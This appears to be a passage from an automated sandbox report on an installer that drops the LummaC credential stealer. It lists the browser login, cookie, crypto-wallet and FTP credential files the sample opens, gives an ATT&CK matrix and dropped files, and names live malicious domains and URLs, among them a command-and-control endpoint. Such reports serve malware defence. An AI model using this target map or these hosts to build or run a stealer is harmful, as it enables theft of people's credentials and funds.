Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	12 Process Injection	1 Obfuscated Files or Information	Security Account Manager	226 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Masquerading	LSA Secrets	521 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	221 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	2 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
installer_1.05_36.7.exe	24%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	78%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-E6KS7.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-E6KS7.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-NIMP8.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-NIMP8.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	8%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\is-U83DO.tmp	8%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://grubbytellek.click/api	100%	Avira URL Cloud	malware
http://michaeluno.jp/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	high
klipvumisui.shop	172.67.208.58	true	false	high
grubbytellek.click	188.114.97.3	true	true	unknown
NMPmQUQWWGDRMDKc.NMPmQUQWWGDRMDKc	unknown	unknown	false	unknown
dfgh.online	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://klipvumisui.shop/int_clp_sha.txt	false		high
https://cegu.shop/8574262446/ph.txt	false		high
https://grubbytellek.click/api	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000000.2021782715.0000000000B51000.00000020.00000001.01000000.00000009.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe.12.dr	false		high
http://repository.certum.pl/cscasha2.cer0	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://ocsp.sectigo.com0	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.usertr	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=	powershell.exe, 00000011.00000002.1975327372.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/autoit3/	Peas.com.1.dr	false		high
http://go.micros	powershell.exe, 00000011.00000002.1975939792.00000000052C3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.remobjects.com/ps	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000003.2033370292.000000007F92B000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000003.2026053688.000000000319F000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000000.2036080268.0000000000081000.00000020.00000001.01000000.0000000A.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000000.2051964684.000000000044D000.00000020.00000001.01000000.0000000D.sdmp	false		high
http://crt.sectigo.com/Sectig	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBfq	powershell.exe, 00000011.00000002.1975939792.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com01	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://contoso.com/	powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000003.2033370292.000000007F92B000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000003.2026053688.000000000319F000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000000.2036080268.0000000000081000.00000020.00000001.01000000.0000000A.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000000.2051964684.000000000044D000.00000020.00000001.01000000.0000000D.sdmp	false		high
